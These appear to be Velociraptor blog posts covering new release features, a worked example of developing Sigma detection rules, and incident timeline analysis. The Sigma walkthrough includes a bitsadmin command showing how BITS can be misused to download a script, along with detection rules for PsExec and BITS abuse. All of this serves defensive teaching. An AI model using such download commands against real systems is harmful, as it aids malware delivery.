Velociraptor’s sigma() plugin appeared in the previous release and was improved greatly in this release. Previously Sigma rules were used primarily for rapid triaging of Windows Events using the Hayabusa rule set. A Curated set of rules are published on the Velociraptor Sigma site at https://sigma.velocidex.com/ - these rules can be automatically imported using the Server.Import.Extras artifact.

Previously it was difficult to write and test your own custom Sigma rules. However in this release we introduced the concept of Sigma Models - a preset collection of Sigma log sources that can be used in particular contexts to write custom rules.

The GUI also introduces a new Sigma Editor which is used in the Sigma Studio Notebook Template. These measure make it easy to write or curate custom Sigma Rules.

To understand how all these components work together, read our new blog post Developing Sigma Rules in Velociraptor

Linux eBPF support

Live detection using Sigma rules works well on Windows as we have a good source of events with Sysmon or Windows event logs. For example the Windows.Hayabusa.Monitoring artifact uses the watch_evtx() plugin to follow event logs and match them against the Hayabusa rule set in real time.

However for Linux we did not have a reliable live event stream. Velociraptor previously had the watch_auditd() plugin to receive auditd events but this was always clunky and hard to configure.

In this release Velociraptor includes a full eBPF plugin based on the excellent open source tracee project. This given unprecedented access to live system telemetry on Linux via VQL. Among others some useful events include

File operations with process information (open, delete, rename etc).
Process Start/Stop.
Network Connections (with process information).

You can see example events from the eBPF plugin in the Linux Base eBPF Model page. These events are directly available now in Sigma rules so we can monitor Linux endpoints in real time.

Added support for the NT Kernel Logger ETW session

While on Linux we need an eBPF program to access system telemetry, on Windows we can in theory use ETW as a built in way. Velociraptor had the watch_etw() plugin for a long time, but we found that some specialized ETW sources actually require a lot of processing before they were directly usable.

On Windows there is a special ETW provider called the NT Kernel Logger provider. This provider gives live events for many kernel operations:

Process Start/Stop events
Module Load events (Linking dlls)
Network Operations
Registry keys

And many more. The provider can also provide stack traces for system calls which may be useful in some detection scenarios.

Velociraptor now supports this provider for receiving real time events. You can see some of the events provided in the Windows Base ETW Model page explaining how to use those for Sigma detection rules.

This exciting capability brings Velociraptor into line with other open source endpoint detection tools, for example Fibratus uses this log provider almost exclusively.

VQL and Artifacts

This release also brings some improvements in Velociraptor’s plugins and artifacts.

Added parse_pst() plugin and pst accessor

One commonly requested feature is support for PST files, usually containing Outlook emails. This release introduces the parse_pst() plugin which allows us to parse emails from a PST file as well as extract attachments for Yara scanning.

Artifact Verifier

As users start to build large corpus of custom artifacts, the need for automated static analysis of VQL artifacts is increasing.

This release introduces the new velociraptor verify command. This command scans a set of directories for VQL artifacts and uses static analysis to find errors and highlight issues.

Currently the command employs the following checks:

Checks the VQL syntax is correct
Ensures that plugins and function that are called in VQL actually exist - this flags common errors like using a VQL plugin where a function is needed etc.
Ensures plugins are called with the correct arguments. This flags common errors like passing a plugin a deprecated argument or accidentally calling a plugin with the wrong parameter.
Ensures that dependent artifacts are called correctly - i.e. the artifacts define the parameters that are being called.

This command is intended to run inside a Continuous integration (CI) pipeline as a presumbit check for artifact correctness.

Conclusions

There are many more new features and bug fixes in the latest release. Please download the release candidate and give it a test and provide feedback.

Developing Sigma Rules in Velociraptor

Sun, 02 Feb 2025 00:00:00 +0000

This post discusses some features that will be available in the upcoming 0.74 release. Although the general methodology is available in earlier releases, some of the GUI features are new.

If you want to play with these new features and provide feedback, please feel free to download the latest version for testing.

Recent versions of Velociraptor have incorporated a powerful Sigma engine built right into Velociraptor. This blog post details how you can write custom Sigma rules to leverage Velociraptor’s Sigma capabilities.

What is Sigma?

You can read more about Sigma in our Detection Engineering blog post. Since that post, Sigma has been adopted as the standard detection mechanism within Velociraptor.

To begin, let’s define some terms. In Velociraptor an Event is simply a key/value set (AKA a Dictionary or Row). The Event can be produced from a variety of sources as we examine below. The producer of a particular type of events is called a Log Source, which in Velociraptor is simply a VQL query, emitting rows as Events.

Sigma is a standard for writing Detection Rules. In this context, a detection rule is a rule that processes some Events to produce a Detection - i.e. a binary classification of whether the event is noteworthy for further inspection. You can think of a Sigma rule as a filter - events are fed into the rule and the rule filter events which do not match and allows through those events that match the rule.

This process is illustrated in the diagram below:

Velociraptor Sigma Workflow

Sigma Rules are pushed to the endpoint into the sigma() plugin. Events are generated via Log Sources on the client and any matching events are forwarded to the server.

Anatomy of a Sigma Rule

An example Sigma rule can be seen below.

title: PSExec Lateral Movement
logsource:
    product: windows
    service: system
detection:
    selection:
        Channel: System
        EventID: 7045
    selection_PSEXESVC_in_service:
        Service: PSEXESVC
    selection_PSEXESVC_in_path:
        ImagePath|contains: PSEXESVC
    condition: selection and (selection_PSEXESVC_in_service or selection_PSEXESVC_in_path)

This rule has several sections:

The logsource section specifies an event source to match the rule against.
The detection clause contains a list of selections joined into a logical condition.
Selections refer to abstract fields that map to actual fields within the event. These mappings are called Field Mappings.

The Sigma standard does not define what log sources are actually available in any specific environment, nor does it define the specific structure of each event. Similarly the Field Mappings are not defined by the standard.

The executing environment maps the rule’s logsource section with a particular VQL query that generates events. The executing environment evaluating the rule also defines a set of Field Mappings which allow selections to address specific fields within the event.

Sigma Models

Because Sigma does not specify exactly how to interpret the rule, we need something else to be able to properly evaluate a Sigma rule:

Specific Log Sources need to be declared - rules can only access these pre-defined Log Sources
A set of Field Mappings must be defined to map between abstract field names to concrete fields within the event object that is returned by the log source.

Therefore a rule can only operate within a specific environment and it is generally not guaranteed to evaluate the rule in a different environment.

In Velociraptor, we call the execution environment the Sigma Model. The Model defines a specific set of Log Sources and Field Mappings designed to operate in concert with Sigma Rules in a specific context.

Sigma Rules can only be safely interpreted within the context of a specific Sigma Model.

For example, if an organization is running a particular SIEM product and use Sigma rules for detection, there is no guarantee that those same rules will work in another organization running a different SIEM product. We refer to the Sigma Model specific to each environment - for example the Elastic Common Schema Model allows writing Sigma rules against those logs collected by the Elastic SIEM and their respective schema (which is well defined).

One of the main criticisms of Sigma is that it is not well defined (unlike the Elastic Common Schema for example), making inter-operation fairly error prone and difficult.

In Velociraptor, we avoid this issue by defining a Sigma Model precisely and only evaluating rules within that well defined model. We end up with various “flavors” of Sigma rules.

Velociraptor separates the implementation of the Sigma Model from the maintainance of the Sigma Rules themselves. This makes it easier to maintain a set of rules separately from the model itself.

For example, the Velociraptor Sigma Project maintains Velociraptor.Hayabusa.Ruleset artifact which is a port of the Sigma rules maintained by the Hayabusa project to the Windows.Sigma.Base triage model.

Curated sets of Sigma Rules can be maintained through artifact delegation

This allows users to easily leverage existing model to write and maintain their own custom set of rules.

Writing custom Sigma Rules

While it is common to use curated rule sets for triage, this article explains the process of developing and testing custom rules.

Below is a worked example of applying the Log Triage Model to develop a Sigma Rule to detect misuse of the BITS service.

The Windows.Sigma.Base Log Triage Model

The Windows.Sigma.Base Model, is used for triaging event log files on Windows:

The model defines log sources that access static Event Log Files on a Windows System.
The model defines a set of Field Mappings to access common fields within the event log messages, as extracted by the Log Sources.

This model is useful for rapidly triaging event logs on an endpoint in order to quickly surface relevant events. You can view the details of this Sigma Model on the Velociraptor Sigma project’s pages

Windows Base Sigma Model triages event logs

The reference page helps us write the Sigma rules by documenting exactly which log sources are available in this model and giving some example events produced by these models.

Although Sigma is in theory an interchange format between different SIEMs products, in practice it is difficult to port rules between different evaluation engines (Or different Sigma Models):

There is no guarantee that the rule’s Log Source is actually available in a different model.
Fields may not exist in other models.
There may not be field mappings for the same field in different models, or the mappings may clash with other fields.

To achieve portability between SIEM systems we need to develop a Sigma Model to fully emulate another environment to be able to directly consume the same rules.

In Velociraptor we are less concerned with portability and more concerned with having Sigma rules as a way of implementing an easy to use and powerful detection engine. Velociraptor defines a range of different Sigma Models, some are defined with the intention to directly consume a large set of rules from another project (For example the Windows.Sigma.Base model was written to consume Hayabusa rules for the Windows.Hayabusa.Ruleset artifact), while others are defined to make powerful telemetry events available to rule writers (For example the Windows.ETW.Base model exposes ETW sources not usually available in centralized server based SIEM architectures).

Developing custom detection rules.

One of the challenges with rapidly developing detection rules is iterating through the process of generating events, inspecting the produced events, updating the rules and applying the rule on the event sources.

A simple approach to developing detection rules is to:

Find an exploit or specific tool to emulate the specific attack on the target platform. For example, one may use Metasploit or Atomic Red Team to emulate a particular attack on the target platform (e.g. Exchange Server).
While the attack is performed, ensure sensors are enabled and forwading events to the target SIEM.
Implement the detection rules on the SIEM
Examine if the rule triggers. If the rule does not trigger go to step 1 and try to figure out why it does not trigger.
Finally try to figure out how to tweak the original exploit to ensure the rule may trigger in slight variations of the attack (e.g. slightly different command line). This step is essential to make the detection robust.

The more complicated the detection pipeline (with event forwarders, data lakes, matching engines etc) the more complicated it is to iterate through the above steps.

Testing the rules in future also becomes impractical as it requires setting up a large infrastructure footprint to be able to successful run the exploit. If the original vulnerability is patched, running the exploit may not work and an older unpatched system is required.

To develop detection rules effectively we must separate the event generation step and the event detection step. To generate the raw events, we must run the exploit on a real system. However to test detection rules, we can simply replay the events into the detection engine, testing detection rules in isolation.

Detection rule development workflow

The Sigma Model already supports this kind of workflow. The model defines a set of Log Sources which emit raw events. We can then replay these events back into the detection engine to rapidly develop the Sigma Rule.

The workflow is illustrated above:

Recording Mode: We start off by recording the relevant events on the detected platform. We use the relevant Sigma Model’s Log Source to record relevant events into JSON files. This step must necessarily be run on the target platform as it records real life behavior.
Replay/Test Mode: In this mode we can replay the JSON files collected previously back into the same Sigma Engine. Except that this time, instead of using the real log source, we substitute a mock log source which replays events back from JSON files. This step can be done on any platform since the events are isolated.

In this mode we are able to quickly iterate over the same events and even enable debugging mode which assists in figuring out why an event would match a specific condition.
Detection Mode: Once the rules are validated we can deploy them in real life and ensure they match on the real log sources. In production the proper log sources are used to feed live events from the system to the Sigma Engine with the validated Sigma Rules

Example Workflow: Detecting BITS Client Activity

To illustrate the process I will develop a Sigma rule to detect suspicious BITS client activity. BITS is a windows service which is often misused to download malware onto the endpoint.

The service may be abused using the bitsadmin command:

bitsadmin.exe /transfer /download /priority foreground https://www.google.com c:\Users\Administrator\test.ps1

To start off we will use the Windows.Sigma.Base model, which inspects the windows event log files. We have already seen the BITS client log source in this model previously and know that the events are read from C:\Windows\System32\WinEvt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx

Let’s take a look at the raw events in this file using the event viewer.

Viewing the BITS Event Logs

The relevant event I am interested in is event ID 59 - which tells me the URL where the file was downloaded from. Since the service is used legitimately by the system there are many URLs mentioned which are not suspicious. My rule will need to exclude those URLs to only concentrate on the suspicious uses.

Step 1: Capture Test Events

My first step is to collect relevant events from the relevant Sigma Model. I do this by collecting the Windows.Sigma.Base.CaptureTestSet artifact. This companion artifact to the Windows.Sigma.Base artifact uses the same log sources but simply records the raw events.

Capturing Raw Events from the test system

In this case I will only collect events from the bits_client log source and only those events that mention URLs. I can time box the events to only collect recent events if I want but in this case I will collect from all available time to get a good selection of URLs used.

Once the collection is done (I can collect this remotely from the server), I have the raw events available. I can download the raw JSON from the GUI table view, after possibly filtering them further using the GUI.

The Raw Events from the Log Source

I can pre-filter these events in the notebook to see what is representative of normal behavior and what is unusual. In this case, I identify that event ID 59 is associates with transfer job started for example BITS started the Chrome Component Updater transfer job that is associated with the XXX.

I will extract the domain name part from the URL and group by it so I can see all unique URLs collected.

Narrowing down events of interest using stacking and filtering

In practice I can collect a more representative set of these events by collecting the artifact using a hunt (which can include the entire deployment). This will give me a more representative set of download URLs found in the environment so I can reduce false positives.

Step 2: Developing rules with Sigma Studio

To effectively develop rules, one must be able to iterate quickly by applying the rules against the collected events. To assist with this process, I will use the Sigma Studio notebook template.

Creating a new Sigma Studio Notebook

Velociraptor notebooks are interactive documents allowing users to dissect and analyse data using VQL. The Sigma Studio template is specifically designed to make manipulation of Sigma Rules simpler.

The Sigma Studio Notebook assists in writing rules

The notebook has a number of important sections:

The Sigma Editor button launches a dedicated editor to edit Sigma rules.
By clicking the Notebook Uploads button you can upload the test events described in Step 1 above.
Once these raw events are uploaded to the cell, the bottom table will render the raw events, while the top table renders only those events matching the rules.

I will start off by uploading the test events I collected previously.

Uploading test events

Editing the Sigma Rules

I will launch the Sigma Editor by clicking on the button.

Writing the Sigma rule

Within the editor I select the Windows.Sigma.Base model. Next I select the bits-client log source from the pull down. The editor will show me available log sources within this model.

The editor displays so documentation about the log source and presents a syntax highlighted Sigma text editor populated with a template rule. For those not familiar with Sigma, comments help to guide the user into filling in the desired fields.

For this detection, I will search for event ID 59, which reveal the URL associated with the bits job. However, I will suppress jobs from URLs accessing specific domains.

Pressing ? will suggest any of the field mappings defined within the model.

Auto-Completion of Field Mappings

In this case I know that EventID is a field mapping to extract the log message’s Event ID, and the Url field mapping will extract the url field from the EventData

The rule I came up with is:

title: Suspicious BITs Jobs
logsource:
 product: windows
 service: bits-client

detection:
 select_event:
   EventID: 59

 allowed_urls:
   Url|re:
    - edgedl.me.gvt1.com

 condition: select_event and not allowed_urls

details: "Bits Job %JobTitle% accessed URL %Url%"

The rule consumes events from the windows/bits-client log source (which in this model ends up reading the events from the C:\Windows\System32\WinEvt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx log file.
There are two selections:
1. If the event id equal to 59
2. Does the URL match one of the specified regular expressions
Finally the rule will match only if the first selection is true and the second selection is false (i.e. only event 59 which do not match one of the allowed urls).
The details field specified a message that will be emitted when the rule matches. This allows us to specify a simple human readable alert to explain what the rule has detected. You can add field interpolations enclosed in % to the message.

When I save the rule, the notebook will be refreshed and recalculated using the new rule applied on the sample events I uploaded previously.

Applying the rule to the test set

You can see a detailed description of why the rule matched. For rules with many selections and complex condition clauses this allows us to inspect each condition in isolation.

Unavailable Field Mappings

Sigma strictly requires field mappings to already exist in the model so they can be referenced. This makes it impossible to access fields in the event which have not previously been defined within the model.

To solve this problem, Velociraptor’s Sigma implementation allows, as a special case, to use field names with . separating fields within the event. The above rule can be written without any field mappings as:

title: Suspicious BITs Jobs
logsource:
 product: windows
 service: bits-client

detection:
 select_event:
   System.EventID.Value: 59

 allowed_urls:
   EventData.url|re:
    - edgedl.me.gvt1.com

 condition: select_event and not allowed_urls

details: "Bits Job %EventData.name% accessed URL %EventData.url%"

It is better to use model field mappings if they are already defined in the model because this makes its easier to port the rule to other models, however if one is not available you can fall back to this method of referencing fields directly.

Step 3: Test the rule on the fleet.

Now that we have a working Sigma rule we can apply this rule to the wider fleet to assess the rule’s false positive rate. As we apply the rule more widely we are likely to discover more legitimate uses of the BITS service and so we might need to add more URLs to the allow list.

Creating a hunt to test the rule widely

Viewing results from Sigma Hunt

Conclusions

This Blog post explains the rational behind separating Sigma Rules into Sigma Models. Velociraptor’s Sigma implementation allows for the creation of many specialized Sigma Models which can operate in completely different environments.

For example, the Windows.Sigma.Base model operates on parsing of event log files on the endpoint (triaging existing logs). On the other hand the Windows.Sigma.BaseEvents model watches log files in real time to generate Sigma based events on current activity.

Similarly the Linux.Sigma.EBPF model surfaces real time telemetry collected from EBPF sensors on Linux and makes these available to Sigma rule authors. This flexibility allows applying Sigma in many different scenarios, making it a power technique.

The main difficulty with writing Sigma rules is being able to iterate through generating event data, applying the Sigma Rule, debugging the rule and testing the detection at scale.

This post describes a new Sigma rule writing workflow that allows to rapidly iterate through the detection process, then apply the test to the entire fleet quickly to test false positive rates.

Timelines in Velociraptor

Thu, 12 Sep 2024 00:00:00 +0000

This feature is available in the 0.73 release. You can Download it and provide valuable feedback.

Digital forensics is about reconstructing what happened in the past based on available artifacts. When applying Digital Forensics to an incident response case, we try to follow the movements of the adversary through the network and answer some common questions:

What happened?
When did it happen?
What potential information was compromised?
How can we harden the system to prevent this from happening again.

A very useful tool for every incident manager is to build a timeline of relevant information. A timeline helps to communicate the sequence of actions the adversary took. Additionally timelines help us to identify the time period of interest to the specific case, so that we can ignore other data that happened either before or after the incident. In this way timelining is a useful triaging tool.

An example timeline in an investigation.

Timelining an incident is an important part of many investigations. Before I describe the timeline feature within Velociraptor, it is important to understand how timelines are used traditionally. After all, Velociraptor is simply a tool that makes the workflow simpler, but ultimately the same general process is followed!

The simplest approach is to manually keep a spreadsheet of events and timestamps, sorted by time. This approach does not require any additional tools than a simple spreadsheet:

Analysis step: The investigator identifies important events to annotate by analysing various forensic artifacts or even just interviewing people, looking at other sources of evidence like security video etc.

The purpose of this step is to identify and isolate noteworthy events from the thousands of time relevant data typically encountered in an investigation.
Annotation step: The investigator then simply writes a timestamp in one column, a message in the other column and any additional information in a third column.

The purpose of this step is to assign semantic interpretation of noteworthy events to explain how they are relevant to the case.

An example of such a manual approach is

Timestamp	Message	Information
2021-10-12 10:10Z	Suspect entered vehicle	source=Video surveillance, Vehicle_tag=`XYZ`, Suspect=Bob
2021-10-12 11:05Z	Call Received	source=Call Log, Number=555-1234, Duration: 2min
2021-10-12 11:06Z	Vehicle crashed	source=Police Report, Place=I95 South, near exit 175

The above example is a typical investigation timeline:

The timeline contains information from multiple sources. We call each entry in the table an event.
Each source contains different types of information, but each event has some common fields:
- Timestamp: This is when the event occurred (usually specified in a common timezone).
- Message: A generic human readable message to explain what this event represents.
- Information: This column contains any event specific information. Since this information can vary, the data is normally stored in the same column in some kind of structured way (e.g. a Key/Value format)

The above timeline helps us to explain what happened - we only see relevant, annotated events (and a note relating these to the case). This timeline adds support to the central theory of what actually caused the accident - likely mobile phone use by the driver.

The important takeaways from this example are:

I combine events from different sources based on their timestamp.
Only important events to the case are annotated with a human readable note that relates them to the case.
The timeline helps support a certain theory or conclusion of what actually happened.

Case study: Ransomware intrusion

To illustrate how a timeline can be used in a typical DFIR investigation, let’s consider a simple (if contrived) case study: Ransomware deployment on an endpoint.

Step 1: Create a global notebook

Velociraptor notebooks are interactive documents that can be shared between a group of investigators. Each notebook consists of cells, while cells can contain markdown text or VQL queries to evaluate.

I will start off by create a global notebook to hold the timeline.

Creating a notebook from a template

An empty timeline notebook

Step 2: Collect some artifacts!

In this case I will directly collect artifacts from the endpoint in question. I search for the hostname and select it for interactive triage.

Usually at the start of an incident I don’t really know what happened or where to start. I like to start of with some Sigma rules as curated by the Windows.Hayabusa.Rules artifact. This artifact is maintained by the separate Velociraptor Curated Sigma site. The artifact combines many rules from the Hayabusa and Sigma projects.

Sigma rules are a good place to start as they can indicate any suspicious activity on an endpoint. Normally Sigma rules must balance false positives with the probability of missing a detection. However, in the triage context, I really want to see all rules - including ones that are noisy and produce a lot of false positives.

Configuring the Sigma artifacts

Therefore in this case I will choose to evaluate All the rules on the endpoint. The artifact will then evaluate all rules against each local event log file.

This results in over 18,000 events - too many to manually review! I will post process this collection by selecting the collection’s Notebook tab. This is a notebook that is created inside each collection for post processing just that one collection results.

In this case I don’t really want to review every single hit. I just want to see what kind of rules matched to get an overview of what happened. I can then drill down into each hit to identify the important ones.

This type of processing is called Stacking. Velociraptor has an inbuilt stacking feature within the GUI - it is available on any table!

Stacking hits by Title

First I sort by one of the table columns - This will select the column I want to stack on. In this case, I will sort by the Rule Title. Once the table is sorted, the GUI shows the stacking button. Clicking the stacking button shows the stacking overview for this table.

Inspecting unique rules

Stacking is a common technique to view aggregation of data quickly. I allows us to see what kind of rules matches in this case, and how many times they matched. We can then drill down on each of these matches to see if they are relevant to the case.

In the above, I immediately see some interesting rules matched! Lets consider the rule Windows Defender Real-time Protection Disabled. This event matched twice in the logs but it is usually a strong signal so I want to drill down on it.

If I click the Link icon in the stacking table, I will be able to explore the specific times this rule matched.

Specific instances when Defender was disabled

I see a match in 2023 and one in 2024. In practice a lot of false positives will occur, or even evidence of previous compromise unrelated to the current incident! Reviewing these events at this stage can help to put a timeline on the incident.

For our purposes we can narrow the time of interest to shortly before 2024-09-12 and this helps us quickly focus on events after that time (in a real case, I will be more exhaustive in checking for possible earliest compromise)

I will then reduce the table to all events after 2024-09-12 by adapting the cell’s VQL query. In the initial stage I will only look at high and critical level events, and remove rules which usually produce too many false positives.

This reduces the number of events to consider from over 18,000 to about 100 high confidence events that I can manually review.

Reducing data

Adding to the timeline.

Velociraptor’s timelines implementation streamlines and enables the above described manual process. We still mostly follow the same general pattern but within the GUI much of the maintainance of timelines is made easier and reduces friction for the user.

First let’s define some terms:

An Event represents something that happened at a point in time. All events contain the following fields:
- A Timestamp is the time when the event occurred.
- A Message is used to describe what the event is.
- A Data field contains arbitrary data as key/value pairs - depending on where the event is coming from, this data will vary.
A Timeline is a series of Events with a name.
A Supertimeline is a collection of Timelines which allows us to interactively inspect all the timelines together. The GUI overlays all the events together into one UI and allows the user to enable or disable any specific timeline in order to focus on specific types of information.
An Annotation is a special Timeline within the Supertimeline that users can add specific messages to. The annotations can be hidden or shown as other timelines but the GUI provides a way to add/remove annotations by inspecting other events in other timelines.

The ultimate goal of the Supertimeline is to build a useful set of Annotations from all the events in the different timelines so that a report may be written from it. The annotations timeline is what we refer to as the “investigative timeline” (Similar to the example above).

Because the Annotations timeline is for user consumption, we only want high value and high confidence events and not too many of them. We don’t expect hundreds or thousands of annotations! Ideally we can export the annotations from a timeline analysis and present it as a running commentary of what happened.

Let’s add our Sigma analysis to the timeline. Within the Reduced Sigma table, click Add to Timeline.

Adding a table to a super timeline timeline

The Add Timeline dialog allows us to create a timeline, add it to a supertimeline and configure how events are created from the current table:

Selecting Local Timeline or Global Timeline allows me to select which Supertimeline I want to add this to. Global Timelines exist within the Global Notebooks (i.e. those created from a template and are visible from the notebook side bar).

I will select the Supertimeline in the notebook I created earlier.
Next I will name the new Timeline to remind me where these events come from. This name will be used to remind me where the events I see come from. I will call this Sigma as this is the result of matching the sigma rules.
Before the events can be created I need to designate which is the Timestamp and Message column - Each event must have a Timestamp and a Message field, while the data field will consist of the rest of the event specific data.

The timeline viewer

After the reduced Sigma timeline is added, I can see the timeline notebook updated.

The Supertimeline UI

Following is a description of the UI:

The display is divided into a Timeline Visualizer at the top and a Time table at the bottom.
The Timeline Visualizer itself is divided into:
- The time navigator at the top showing event times in UTC. You can drag and zoom to change the time scales, or click on the column headers to change the time resolution and zoom in and out of the time ranges.
- Below the time navigator is the Time Group Visualizer. This shows the range of each time series as a color block. This color is also matched with the individual events shown in the timeline below.
- Each time group represents a distinct time series which can be enabled or disabled. Disabling a time series hides it from the time table below, making it easier to examine only events from the enabled time series.
- The Time Cursor can be moved by clicking within the time navigator. This controls which events are shown in the Time Table below.
The Time Table shows events from all enabled time series that occur after the Time Cursor.
- Each event shows the Timestamp, Message and Notes columns as an overview row.
- Clicking on the event overview shows all fields in the event.
- Once the event is expanded, the event toolbar allows the user to annotate the event.

Annotating an Event

When an event seems important, it can be annotated. Annotating an event will copy it into a special time series within the Supertimeline called Annotation.

Annotating an event

The annotation should contain an explanation as to why this event is relevant to the case.

The annotated event

The annotated event is added to a separate timeline, which may be enabled or disabled similarly as the other time series. This allows us to concentrate on the annotations separately from other time series.

Adding further time series

As I collect other artifacts, I can get more information about the case:

Collecting the Windows.Sys.Users artifact enumerates the local users on the system, and estimates the time that the user last logged into the system by reporting the Modified time on the User’s profile registry keys and home directory modification time.

I reduce the data to show the Home directory modification time (Last time the user logged into the account).

SELECT HomedirMtime, Name, Description, Data
FROM source(artifact="Windows.Sys.Users")

I will use the HomedirMtime as the Timestamp column when adding this time series.

Collecting the Windows.Forensics.Usn artifact can reveal information about files created on the filesystem and their creation timestamp. This gives us an idea of what files were introduced into the system by the attackers.

I reduce the data to show only created files in the time range of interest which have a full reconstructed path.

SELECT Timestamp, OSPath, Reason
FROM source(artifact="Windows.Forensics.Usn")
WHERE Timestamp > "2024-09-12"
  AND NOT OSPath =~ "Err"
  AND Reason =~ "CREATE"

Collecting the Windows.Timeline.Prefetch artifact reveals information about when executable files were run.

I reduce the data to show any execution after the time of interest.

SELECT event_time, message, source
FROM source(artifact="Windows.Timeline.Prefetch")
WHERE event_time > "2024-09-12"

Collecting the Windows.System.TaskScheduler can reveal information about new scheduled tasks added to the system. Scheduled tasks are a common reinfection mechanism added by attackers. Scheduled tasks are defined in XML files in the C:/Windows/System32/Tasks/ directory. We can use the modification time for these files to determine when they were last created or updated.

I reduce the data to show any scheduled tasks with the modification times as the timeline’s timestamp

SELECT Mtime, OSPath, Command
FROM source(artifact="Windows.System.TaskScheduler/Analysis")
WHERE Mtime > "2024-09-12"

The complete timeline with annotations

Exporting the annotations

Once we annotated the timeline we can export the annotations in a table for reporting purposes. The Timeline notebook template provides a second cell that when recalculated exports the Annotation time series into a unique table.

Exporting the annotations

I now can see what the attackers did. Once they logged in as Administrator, they Disabled Windows Defender, Added a second admin user account. Then they logged in as that account, created a scheduled task for persistence, disabled the Bits client logs and then downloaded PsExec.exe renamed to foo.exe. Finally the attackers ran whoami and used ping to establish network connectivity.

The Timeline workflow

To summarize, the general workflow is illustrated below

The general timeline workflow

As we collect artifact from a group of hosts in a hunt, or individually from specific clients, we post process the results in order to identify high value events.

The aim is to reduce the total number of events that are added to the timeline in order to make it easier to review them.

Ultimately the product of the timeline exercise is to simply obtain the Annotation time series. This contains the manually reviewed and annotated set of events to explain the progression of the incident.

Integration with third party timelining tools

Since the timeline workflow is so central to DFIR there are a number of popular timelining tools out there. Probably the most popular is Timesketch - a collaborative timeline analysis tool developed by the DFIR team at Google.

Many people use Timesketch in conjunction with Plaso which is a timeline based analysis engine for forensic bulk files (e.g. event logs, filesystem metadata etc). The two tools are usually used in a pipeline where Plaso extracts many time related events from various triaged artifacts, storing them in the Timesketch database. This usually results in millions of events - for example each MFT entry contains 16 distinct timestamps, leading to 16 distinct timeline events.

In practice most of these events are not relevant and cloud the analysis process by bombarding the user with many irrelevant events. Users then use Timesketch itself to perform filtering and analysis in order to remove the irrelevant data.

This “Kitchen Sink” approach means that timeline becomes the main tool for filtering and querying large events (with many irrelevant fields). Contrast this with Velociraptor’s “targeted” approach as descried above, where pre-filtering and data shaping/enriching occurs before the data is ingested into the timeline.

We believe that Velociraptor’s “targeted” approach is superior than the “Kitchen Sink” approach, but it does require a mindset shift and for investigators to modify their processes.

Nevertheless, Timesketch is an excellent tool with many users already very familiar with it. Timesketch itself does not actually require Plaso at all and can also be used in a targeted way. In fact it is possible to feed any time series data to Timesketch.

Velociraptor supports integrating with Timesketch using the Server.Utils.TimesketchUpload artifact. This artifact uploads Velociraptor’s timelines to Timesketch using the Timesketch client library. The artifact assumes the client library is installed and configured on the server.

To install the Timesketch client library:

pip install timesketch-import-client timesketch-cli-client

To configure the client library to access your Timesketch instance see instructions https://timesketch.org/guides/user/cli-client/ and https://timesketch.org/guides/user/upload-data/

This artifact assumes that the timesketch CLI is preconfigured with the correct credentials in the .timesketchrc file.

You can use this artifact to manually upload any Velociraptor timeline data to Timeline by simply specifying the notebook_id, the supertimeline and the timeline names. The Artifact will prepare automatically create a sketch if required with the same name as the Supertimeline, and add a timeline to it with the same name as the timeline name provided.

Automatic Timesketch uploads

While Server.Utils.TimesketchUpload allows uploading timeline to Timesketch it requires manual intervention. This makes it more complex to use and increases friction.

We can automate timeline exports using the Server.Monitoring.TimesketchUpload server monitoring artifact. This artifact watches for any timelines added on the server and automatically exports them to Timesketch in the background. This means that the user does not need to think about it - all timelines created within Velociraptor will automatically be added to Timesketch.

Configuring the Server.Monitoring.TimesketchUpload artifact

To install the Server.Monitoring.TimesketchUpload server monitoring artifact, select Server Events in the sidebar, then click the Update Server Monitoring Table button. Search for Server.Monitoring.TimesketchUpload and configure its parameters.

The artifact allows for finer control over which timelines to are to be exported - For example, maybe only timelines with a name that starts with Timesketch will be exported.

Finally the path on the server to the timesketch client library tool is required - this is the external binary we call to upload the actual data.

Automating Timesketch Import

Once the server monitoring artifact is configured it simply waits until a user adds a timeline to a Supertimeline in Velociraptor, as described above. When that happens the timeline is automatically added to Timesketch into a sketch named the same as the Velociraptor Supertimeline.

Viewing timelines in Timesketch

As can be seen in the screenshot above, the same targeted timelines are exported to Timesketch. This is most useful for existing Timesketch users who are wish to continue using their usual timelining tool in a more targeted way by pre-processing data in Velociraptor.

Conclusions

Timeline analysis is an important part of many investigations. The emerging Velociraptor built in timeline feature is a useful tool to assist in the analysis and reporting of incident timelines.

If you like to try this new feature, take Velociraptor for a spin! It is available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

Velociraptor 0.73 Release

Tue, 10 Sep 2024 00:00:00 +0000

I am very excited to announce that the latest Velociraptor release 0.73 is available for download.

In this post I will discuss some of the interesting new features.

Special Thanks

We would like to extend our thanks to the entire Velociraptor Community, with a special mention for Andreas Misje and Justin Welgemoed who provided invaluable testing, feedback and ideas to make this release awesome!

New Client functionality

Built in Windows memory acquisition

Previously Velociraptor was able to acquire physical memory on Windows using the Winpmem binary as an external tool - which was delivered to the endpoint and executed to obtain the memory image.

In this release, the Winpmem driver is incorporated into the Velociraptor binary itself so there is no need to introduce additional binaries to the endpoint. The driver is inserted on demand when an image is required using the new VQL function winpmem(). This VQL function can compress the memory image, to make it faster to acquire (less IO) and deliver over the network (less network bandwidth required).

The ability to access physical memory simply is also leveraged with the winpmem accessor which allows for direct Yara scans with Windows.Detection.Yara.PhysicalMemory

Added parse_journald() and watch_journald() plugins

Journald is Linux’s answer to structured logging. Previously Velociraptor implemented a simple parser using pure VQL. In this release Velociraptor introduces a dedicated journald parser.

The new parser emulates the windows event log format, with common fields grouped under the System column and variable fields in EventData.

Journald parser

This release also introduces a new VQL plugin watch_journald() which follows journald logs and forwards events to the server.

Add RDP Cache parser to RDP Cache artifact

Attackers commonly use Remote Desktop (RDP) to laterally move between systems. The Microsoft RDP client maintains a tile cache with fragments of the screen.

Sometimes the RDP cache holds crucial evidence as to the activity of the attacker on systems that ran the RDP client. This information is now easily accessible using the new Windows.Forensics.RDPCache artifact contributed by Matt Green.

Viewing the RDP cache tiles

Added the ability to dump clear text network traffic for debugging

Velociraptor clients are often deployed in complex networks. It is sometimes difficult to debug why network communications fail.

This release introduces the ability for the client to record the plain text communications between the client and server to a local file for debugging purposes.

Network communications are usually wrapped in TLS making network captures useless for debugging. Because of the way Velociraptor pins the TLS communications it is not easy to insert a MITM interceptor proxy either.

Adding the following to the client’s config will write plain text communications into the specified file:

Client:
